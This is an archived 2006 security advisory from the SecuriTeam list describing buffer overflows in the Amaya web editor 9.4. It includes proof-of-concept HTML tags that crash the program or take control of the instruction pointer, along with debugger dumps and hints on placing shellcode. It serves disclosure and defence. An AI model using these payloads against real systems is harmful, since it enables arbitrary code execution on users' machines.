

[NEWS] Amaya Multiple Buffer Overflows

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-04/msg00022.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 18 Apr 2006 12:36:27 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Amaya Multiple Buffer Overflows

SUMMARY

<<http://www.w3.org/Amaya/>> Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web.

Improper handling of unexpected properties allows attackers to trigger buffer overflows with Amaya and execute arbitrary code.

DETAILS

Vulnerable Systems:

- * Amaya version 9.4 and prior

Immune Systems:

- * Amaya version 9.5

Using non standard values for html tags will cause a buffer overflow with Amaya and crash the program.

Proof of Concept:

```
<colgroup compact="Ax200">
```

[NEWS] Amaya Multiple Buffer Overflows

eax=000000f9 ebx=02ae8420 ecx=77bcec76 edx=41414141 esi=007b9420
edi=01ae6d5c eip=004edd95 esp=0012e7ac ebp=007d6110 iopl=0
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206

```
004edd61 03f3 add esi,ebx
004edd63 a4 movsb
004edd64 8b4500 mov eax,[ebp]
004edd67 8b8c241c010000 mov ecx,[esp+0x11c]
004edd6e 8b942418010000 mov edx,[esp+0x118]
004edd75 50 push eax
004edd76 51 push ecx
004edd77 53 push ebx
004edd78 52 push edx
004edd79 e8a23c0200 call amaya+0x111a20 (00511a20)
004edd7e 53 push ebx
004edd7f e83cf90000 call amaya+0xfd6c0 (004fd6c0)
004edd84 83c428 add esp,0x28
004edd87 8bbc24fc000000 mov edi,[esp+0xfc]
004edd8e 8b942400010000 mov edx,[esp+0x100]
FAULT ->004edd95 8b4240 mov eax,[edx+0x40]
ds:0023:41414181=???????
004edd98 83f844 cmp eax,0x44
004edd9b 0f8527030000 jne amaya+0xee0c8 (004ee0c8)
004edda1 837c242457 cmp dword ptr [esp+0x24],0x57
004edda6 0f8465060000 je amaya+0xee411 (004ee411)
004eddac 8b4500 mov eax,[ebp]
004eddaf 8b8c2408010000 mov ecx,[esp+0x108]
004eddb6 6aff push 0xff
004eddb8 50 push eax
004eddb9 51 push ecx
004eddba 57 push edi
004eddbb e8d33af1ff call amaya+0x1893 (00401893)
004eddc0 83c410 add esp,0x10
004eddc3 5f pop edi
004eddc4 5e pop esi
004eddc5 5d pop ebp
```

<textarea rows=
AA
AA
AA
AAABBBB>

eax=00000001 ebx=00000000 ecx=77c10e72 edx=007bd472
esi=0000003e edi=00000000 eip=42424242 esp=0012ea38 ebp=00000000

Function: <nosymbols>
No prior disassembly possible
42424242 ?? ???
42424244 ?? ???
42424246 ?? ???

[NEWS] Amaya Multiple Buffer Overflows

42424248 ?? ???
4242424a ?? ???
4242424c ?? ???

Successful exploitation of this vulnerability is not that easy because non-text characters were modified during parsing therefore you have to find a place where to place the shellcode. Naturally you have to avoid null bytes too because Amaya would stop parsing the attribute value and the overflow would not get triggered.

Examples:

<<http://morph3us.org/security/pen-testing/amaya/amaya-94-textarea-rows.html>>
<http://morph3us.org/security/pen-testing/amaya/amaya-94-textarea-rows.html>

<<http://morph3us.org/security/pen-testing/amaya/amaya-94-legend-color.html>>
<http://morph3us.org/security/pen-testing/amaya/amaya-94-legend-color.html>

Vendor Status:

The vendor has issued a fix with version 9.5.

Disclosure Timeline:

- 21 Dec 05 – Vulnerability discovered.
- 21 Feb 06 – Vendor contacted.
- 23 Feb 06 – Vendor confirmed vulnerability.
- 08 Mar 06 – Vendor fixed vulnerability.
- 12 Apr 06 – Public release.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:bugtraq@xxxxxxxxxxxxx>> Thomas Waldegger.

The original article can be found at:

<<http://morph3us.org/advisories/20060412-amaya-94.txt>>
<http://morph3us.org/advisories/20060412-amaya-94.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxx

=====
=====

[NEWS] Amaya Multiple Buffer Overflows

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.